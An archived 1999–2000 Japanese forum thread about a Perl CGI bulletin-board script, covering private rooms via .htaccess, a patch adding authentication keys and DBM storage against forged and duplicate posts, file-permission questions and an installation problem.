# 忙しさにかまけて忘れていたようです。(^^;;

9月22日に、よっしぃ。さんは書きました。

>でもcontentsの中身が改行されないんですけど・・・・
>どうしたらいいですか?(^^;
>さわってこわれたらいやなので・・・・

今見たら問題なく動いているようですね。
# 既に自己解決していたかな? (^^;;


[NEW] フォロー記事投稿 記事のキャンセル
From: koby <koby@mba.sphere.ne.jp>
Subject: うぇぶ会議室の(非公開&パスワード対応)について
Date: 1999/09/19 22:55:30

こんにちわ。10日ほど前からつかわせてもらってます。cgiを。
いいですね、これ。

さて、ご質問です。非公開会議室を作成するほうほうは無いのでしょうか?
また、その会議室にパスワードをかけたりとかするには、やっぱり
cgiを改造していくしかないのでしょうか?

よろしくお願いいたします。

P.S. うぇぶ会議室を私なりに改造(アレンジ)して自分のところに置きましたが、
   いいですよね?(^^;


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: うぇぶ会議室の(非公開&パスワード対応)について
Date: 1999/09/20 01:56:09
Reference: mesh.forum.4/00081

9月19日に、kobyさんは書きました。

>さて、ご質問です。非公開会議室を作成するほうほうは無いのでしょうか?
>また、その会議室にパスワードをかけたりとかするには、やっぱり
>cgiを改造していくしかないのでしょうか?

会議室丸ごと非公開にしてパスワードをかけるのなら、単純にサーヴァの
アクセス制限機構 (.htaccessに設定するもの) を会議室ディレクトリに
設定するのがよろしいのでは?
# kobyさんとこのサーヴァはApacheですよね?

>P.S. うぇぶ会議室を私なりに改造(アレンジ)して自分のところに置きましたが、
>   いいですよね?(^^;

ええ、どんどん改造してやってください。(^^)


[RE] フォロー記事投稿 記事のキャンセル
From: hdlee <bpkor@shinbiro.com>
Subject: Re: うぇぶ会議室の(非公開&パスワード対応)について
Date: 1999/09/20 14:13:41
Reference: mesh.forum.4/00083

私も少し前からセットアップに成功して使わせてもらっています。

会議室全体にパスワードをかけると幾つの掲示板を複数設置する必要があります。

グループに分けて必要なところをそのグループに所属しているメンバーだけが見るようにしたいですが。
出来ればの話ですが、会議室内のパスワードはあれば複数の会議に参加する人には記事を一括して管理できるので便利だと思います。

ところで、記事が投稿されると管理者にメールを送ってくれる機能はないでしょうか。
複数の会議室を運営するとき、すぐに対処できる場合あれば便利だと思っています。
失礼致しました。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: うぇぶ会議室の(非公開&パスワード対応)について
Date: 1999/09/29 01:39:39
Reference: mesh.forum.4/00084

9月20日に、hdleeさんは書きました。

>会議室全体にパスワードをかけると幾つの掲示板を複数設置する必要があります。
>グループに分けて必要なところをそのグループに所属しているメンバーだけが見るようにしたいですが。
>出来ればの話ですが、会議室内のパスワードはあれば複数の会議に参加する人には記事を一括して管理できるので便利だと思います。

ええ、これが出来ると便利でしょうね。と言うことで、次版の改良予定のひとつに
入っていたのですが、現在次版の開発が思いきり滞っている最中でして。(^^ゞ

# 暇は出来る物じゃなくて、作る物なのだなぁ、と切実に感じる今日この頃。(^^;;

>ところで、記事が投稿されると管理者にメールを送ってくれる機能はないでしょうか。
>複数の会議室を運営するとき、すぐに対処できる場合あれば便利だと思っています。

いくつかの会議室では修正してそのような運用にしているようです。
# 配布ヴァージョンはプラットホームが限定できないので、メールとのリンクは
# チョット億劫なんです。(^^;
# sendmail とかに限定してしまえば簡単なんですが、汎用を考えると
# 自分で SMTP しゃべりたいし...


[RE] フォロー記事投稿 記事のキャンセル
From: hdlee <bpkor@shinbiro.com>
Subject: Re: うぇぶ会議室の(非公開&パスワード対応)について
Date: 1999/09/29 10:46:26
Reference: mesh.forum.4/00088

9月29日に、にあさんは書きました。
>ええ、これが出来ると便利でしょうね。と言うことで、次版の改良予定のひとつに
>入っていたのですが、現在次版の開発が思いきり滞っている最中でして。(^^ゞ

次のバージョン期待します。よろしくお願いします。
>>ところで、記事が投稿されると管理者にメールを送ってくれる機能はないでしょうか。
>>複数の会議室を運営するとき、すぐに対処できる場合あれば便利だと思っています。
>
>いくつかの会議室では修正してそのような運用にしているようです。

もしかしてその機能を公開しているところがあれば教えてもらえないでしょうか。

大変失礼致しました。


[NEW] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: 【更新】不正/多重投稿防止パッチ
Date: 1999/12/23 23:56:56

ずいぶん以前になるんですが、会議室への投稿フォームに認証キーを加える事で
不正投稿/多重投稿を防ぐ機構に付いて検討したことがありました。

その後、全然、会議室のヴァージョンが上がっていなかったことから、この機構も新版の
α版に入れただけで、現行版には反映されていなかったのですが、最近、ある会議室が
荒らしの被害にあって相当滅茶苦茶にされたと言う事故が起こったことから、急遽、
現行バージョンにも反映させることになりました。

# 12月の初めにTestの部屋で動作チェックしていたので、分かったと思いますが
# ぱーまぁさんの所です。1日の平均投稿数が50本ぐらいある所なので、
# 大事だったようです。
## いつもなら巡回ルートにあるのですが、ちょうど忙しい時期で、ろくに会議室
## 巡回が出来ていなかったので、現場は見られませんでした。(^^;;

最新β版及びパッチのペーヂからarticle.cgiforum.plの現行版へのパッチを当てると
不正投稿/多重投稿排除機構が使えるようになります。

ただし、以前の版との後方互換性を保つ意味から、単にスクリプトを更新しただけでは
排除機構は有効になっていませんので、利用する場合は設定が必要になります。


・不正投稿防止機構設定法

不正投稿防止機構とは、投稿フォーム毎に異なった偽造困難な認証キーを与えることで
手順に基づいた投稿動作以外の投稿を排除する物です。

新たにsecure.cgiと言う名前のファイルをCGIディレクトリに作って、内容を、

$forum'master_passwd = 'xxxxxxxxxxxxx'; # ここは任意の13文字のキーワード
1;

として下さい。

$forum'master_passwd は本来は名前の通り(暗号化された)マスターパスワードを
登録する変数ですが、現在の所認証キーの種にしか使っていませんので、取りあえずは
13文字(以上)の文字列なら何でも良いです。
# 自分の平文パスワードなんかは書かないで下さいね。(^^;;;

secure.cgiには読み込み権限は付けるけど、実行権限は『付けないで』下さい。
こうしておくと、ネット上から読んでも内容は分かりません。
要はネットからsecure.cgiを読んだ時、内容が表示されないような設定なら良いです。

サーヴァがSetUIDモードで動いているなら、自分の読み込み権限を残して、
他人の読み込み権限を落としておいて下さい。こうしておくと同じサーヴァの
他の人からも読めません。

master_passwdはネット上を流れる情報からは逆演算できませんがmaster_passwdが
知られてしまうと意味が無いので、管理には気を付けて下さい。
# まあ、知られたらすぐに変えれば済むと言えばそうなのですが。(^^;

投稿フォームのソースを眺めると、NAME="authkey"なINPUTが増えているのが
分かると思います。

# hidden属性なので表立っては見えませんが。
# 最後の方に入れておいたので、記事のしっぽ切れ検出にも役立つと思います。


・多重投稿防止機構設定法

サーヴァでデータベース機構(DBM)がサポートされている場合には、不正投稿防止機構に
加えて多重投稿防止機構を導入することが出来ます。

まず正常に不正投稿防止機構が働いているのを確認して下さい。
その後、site.plに、新たに、

$use_dbm = 1;

と言う行を加えて下さい。

これによって、不正投稿防止機構に使われた認証キーをデータベースファイルに貯め、
多重投稿を検知する事が出来るようになります。投稿フォームを認証キー丸ごと
コピーして掲示板に張り付けると言った荒らし手法でも、2本目以降は多重投稿として
排除することが出来ます。荒らしに限らず、投稿ボタンを複数回押してしまって
多重投稿になることも防げます。

# 一般的には、ミスによる多重投稿を防げる事の方が利用価値があると思います。(^^;

データベースファイル(auth_dbm.*)は部屋毎に貯めていきます。
容量が大きくなりすぎる様なら、定期的に消してしまっても、まあ、良いです。
無ければ次の投稿の時に勝手に作ります。
# もちろん消した分の投稿排除は効かなくなりますが。(^^;

いかがでしょうか?

何か、アルゴリズム等、問題があるようでしたらお知らせ下さい。(^^)


[RE] フォロー記事投稿 記事のキャンセル
From: TAD <hotani@mua.biglobe.ne.jp>
Subject: Re: 【更新】不正/多重投稿防止パッチ
Date: 1999/12/24 15:52:05
Reference: mesh.forum.4/00097

12月23日に、にあさんは書きました。

>ずいぶん以前になるんですが、会議室への投稿フォームに認証キーを加える事で
>不正投稿/多重投稿を防ぐ機構に付いて検討したことがありました。

#元記事をみると2年も経っていますね。(^^;;

># 12月の初めにTestの部屋で動作チェックしていたので、分かったと思いますが
># ぱーまぁさんの所です。1日の平均投稿数が50本ぐらいある所なので、
># 大事だったようです。

そういうことだったのですね。


で、早速テスト環境に入れて試してみましたところ両方ともちゃんと機能しました。
 OS       :FreeBSD 3.3-RELEASE
 WEBServer:Apache/1.3.9

>データベースファイル(auth_dbm.*)は部屋毎に貯めていきます。
>容量が大きくなりすぎる様なら、定期的に消してしまっても、まあ、良いです。

データベースファイルのパーミッションですが、
'606'固定だとSetUIDモードで動いていないサーバでhttpdのユーザ(cgiの実行ユーザ)と
一般ユーザのグループが一緒の環境で、そのファイルを消すことができなくなる場合が出てきませんか。
#昔あった「消せないファイル達」と同様の原因かな。

##うちの環境ではなぜか604で作成されてしまいました。
##-rw----r--   1 nobody  users  16384 Dec 24 14:14 auth_dbm.db
##
##1件投稿時も2件投稿後もサイズは16KBだし。

あと、データベースファイルにため込む認証キーの最大件数を設定しておけると
データベースファイルのサイズが放って置いても無制限に大きくならずによいかなと思います。

以上です。


[RE] フォロー記事投稿 記事のキャンセル
From: にあ <nir@mvg.biglobe.ne.jp>
Subject: Re: 【更新】不正/多重投稿防止パッチ
Date: 1999/12/24 23:15:17
Reference: mesh.forum.4/00098

12月24日に、TADさんは書きました。

>#元記事をみると2年も経っていますね。(^^;;

うぐぅ、全然アップデイト無かったですからね... (^^;

>データベースファイルのパーミッションですが、
>'606'固定だとSetUIDモードで動いていないサーバでhttpdのユーザ(cgiの実行ユーザ)と
>一般ユーザのグループが一緒の環境で、そのファイルを消すことができなくなる場合が出てきませんか。

消すのはディレクトリの権限で制限するので、この場合は関係なさそうですね。
むしろ問題となりそうなのは、グループが一緒の場合、ユーザに読めなくなるので
バックアップ出来ない事かしら?

# もっとも、わざわざ認証データベースまでバックアップすることはしないかな?

>##うちの環境ではなぜか604で作成されてしまいました。
>##-rw----r--   1 nobody  users  16384 Dec 24 14:14 auth_dbm.db

あぅ、そうそう、うぇぶ会議室のファイル作成モード設定にはもともと問題があるのを
忘れていました。(^^; つまりスクリプトのどこでもumake()設定をしていないため、
サーヴァが設定したumaskのままファイルを作っていたのでした。

記事ファイルについては、いったん作ってから、chmod()していたので顕在化して
いませんが、dbmファイルはなんていう名前で出来るのか調べるのが面倒だったので
作成時に設定した値のままになっているので、サーヴァのumaskが利いてしまっているのです。

これを避けるには、site.plの中でサーヴァの特性に合わせたumaskを切るのがいいかなぁ
デフォルトは、umask(0000);で、SetUIDなサーヴァなら、umask(0077);に変える、
dbm_open()では0666で作る、ぐらいが良いかなぁ

>>データベースファイル(auth_dbm.*)は部屋毎に貯めていきます。
>>容量が大きくなりすぎる様なら、定期的に消してしまっても、まあ、良いです。
>
>あと、データベースファイルにため込む認証キーの最大件数を設定しておけると
>データベースファイルのサイズが放って置いても無制限に大きくならずによいかなと思います。

まあ、そうなんですけど、最大件数を制限するとなると、あふれた場合古いほうから
消していかなくてはならず、(時間|容量)コストがかかるんですよね。
それに、標準的な会議室の最大記事数が1000として、1件当り100バイトずつ食ったとしても
100kBに過ぎないので、会議室ごとにためておく分には問題にはなるまい、と踏んだんですが、
実際どのくらい食うかはつかっているデータベースの効率に拠るので、よく分からないです。

# そんなに重要物では無いから、容量が厳しいところでは消しても平気だよ、ぐらいの感じかしら。


[NEW] フォロー記事投稿 記事のキャンセル
From: Hisi <hisi@mc.kcom.ne.jp>
Subject: うまく設置ができません。
Date: 2000/01/04 04:18:08

はじめまして。
この掲示板のかっこよさ惚れ現在設置しようとしています。
カウンターの方は、うまく設置できたのですが、掲示板がうまく動作しません。
具体的には、index.cgiを実行すると、内部サーバエラーとか言われてしまいます。
各ファイルは、
root
  |-cgi-bin
       |-forum
           |-icons
           |-test
           |-*.cgi
           |-*.pl
           |-*.html
のように、cgi-binの下に全部解凍しました。
そして、site.plは、$forumrootのみを、$forumroot = '/forum';に変更。
これで、とりあえず動作すると思うのですが、うまく動作しません。
$cgiroot等も変更しないといけないのでしょうか?
現在設置しようとしているのは、海外のフリーのところで、virtual avenuという
ところです。


以上100記事(キャンセル分を含む)


・ ホームペーヂに戻る
nir@mvg.biglobe.ne.jp
Last Update: 7 March 1998